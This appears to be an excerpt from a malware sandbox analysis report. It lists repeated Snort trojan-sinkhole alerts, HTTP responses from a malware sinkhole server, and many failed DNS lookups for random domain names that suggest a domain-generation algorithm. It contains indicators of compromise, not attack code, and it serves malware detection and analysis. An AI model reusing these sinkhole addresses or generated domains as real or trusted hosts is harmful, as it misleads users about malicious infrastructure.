Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49761
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49762
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49764
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49765
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49769
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49770
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49773
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49775
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49776
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49778
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49779
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49781
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49782
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49784
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49785
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49790
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49791
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49793
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49794
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49796
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49797
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49799
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49800
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49802
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49803
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49805
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49806
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49809
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49810
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49812
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49813
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49816
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49818
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49819
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49821
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49822
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49824
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49825
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49827
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49828
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49830
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49832

Tries to download HTTP data from a sinkholed server

Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:32:35 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:32:36 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:32:42 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:32:43 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:32:48 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:32:49 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:32:53 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:32:53 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:32:54 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:32:54 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:32:56 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:32:56 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:32:58 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:32:59 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:01 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:01 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:02 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:03 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:05 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:06 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:08 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:09 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:12 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:13 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:14 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:14 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:19 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:19 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:22 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:23 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:25 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:25 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:29 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:29 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:30 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:30 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:34 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:34 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:35 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:35 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:38 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:38 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:40 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:40 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:50 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:50 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:55 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:55 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:57 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:33:58 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:04 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:04 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:09 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:10 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:11 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:11 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:21 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:21 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:24 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:25 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:26 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:27 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:29 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:30 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:35 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:36 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:39 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:40 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:41 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:42 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:45 GMTConnection: closeX-Sinkhole: Malware
Source: global traffic	HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Mon, 04 Dec 2023 11:34:46 GMTConnection: keep-aliveX-Sinkhole: Malware

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: gnkag.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kiwkvwcge.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: owasakjoeiomm.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qarmpzijnapfi.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lkazkqnqlcs.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: usciivmkgqu.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mqsjyksp.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bjuai.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ymvrgaeyo.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gwmswyupyceds.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tosfexa.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: omodgklmmytyf.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: coaddzqwaasp.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eodljipg.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yfuhzww.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yyucqk.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aypoarfksecsc.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vesuvadpxnu.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kjikqraqo.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qoemipjwv.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smlngbwqouy.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gqaapeb.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kkbumqmyujocu.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nouneqklaffud.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wkyunesozky.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: afiomoagjsqeo.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sgaeoe.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oybwemypqqd.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: skersccqgiu.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: luimvwcqc.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: auwwie.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sosef.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xmppjqkmlcssm.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eqmaa.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iyzzosives.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ymwkgkg.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eqjpscl.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ucwkz.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kqvygqi.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cjufzqjzsqsfh.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qlypuqp.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ieatyyzem.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jowuhowi.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pwcuk.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gxsklwkxz.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mmssedkyij.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fzgbs.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cebwyohyy.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yiwqeoqkvc.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: swstgqsyaxe.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cskyklyesjs.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qzlmsjo.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cgwnoxhquvm.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: igymrlorytmwc.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yelgcearo.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xygoimlwqag.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xuwslaxpl.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: idyxomuegyumh.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ztkmyqiifuya.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: easeu.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: posly.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wowhpjqeagx.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uihemgn.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jkpuc.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uioqinqw.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ahagz.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mysuh.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ylknnee.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dzqug.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: glyaguaikeq.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tykssskucyfih.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ywscm.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dyueyt.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kbwwktoqyiiwk.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pyhctikhca.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uoecsc.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: auvgqgxid.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pucdf.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fdpempn.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: riobcwfowacouc.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jqueouldxzhhc.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kaccimyquxifj.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: moikiswormqyw.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wmjwdixoh.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qzyawogcyveiw.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: taegkmytdji.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: unmomis.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kcmkgcg.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uduror.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ckjom.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: stcapppcm.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ijroiwggm.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cnatouspvkh.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gkslykqk.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cuawhpaefon.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bqsisaiqgucqw.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nufasydbseiax.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: imbwsomexosgk.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qiamygymrlu.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qnsqksa.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uqesyqd.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: asmqldwuiwcwm.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xesez.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: twwcxivqwqpag.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: efiduysw.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xmukjiayiua.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: izasnosdqa.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cmokmayod.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: isfig.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ayvoq.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gtmubeksl.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gzeavioqi.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cxqmayuigif.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: icfuk.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yuufw.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: esclcrwdzowpc.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeywh.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wckmtskxmyeicc.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ooybhuv.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gwyjew.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qdhhf.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nogwayfyz.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kqllhsegdsco.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lxjsdmwoe.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ceigroww.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: saswvsucboqjw.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rzucgtcpwoujoi.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mboyu.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qqfrwotax.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mrksigequohiy.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wkvoqsqsanq.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tkdcp.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uklmstm.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kefoqi.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtsg.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cxlowsxgyq.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zxgiyfyxkmoyh.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wziyabnrwnmfw.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qazpmu.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ciomiv.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kxmookcfomeyi.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gozeewgdu.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: asotngqz.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kpnkkzi.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iwkccqvnmiiuu.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: isfusus-omoab.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kqqjawrfqquku.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: csobayuhekvla.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ypgqlwwu.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ymkeavj.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wjsdccsmqu.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mlnvwxmb.pw replaycode: Name error (3)
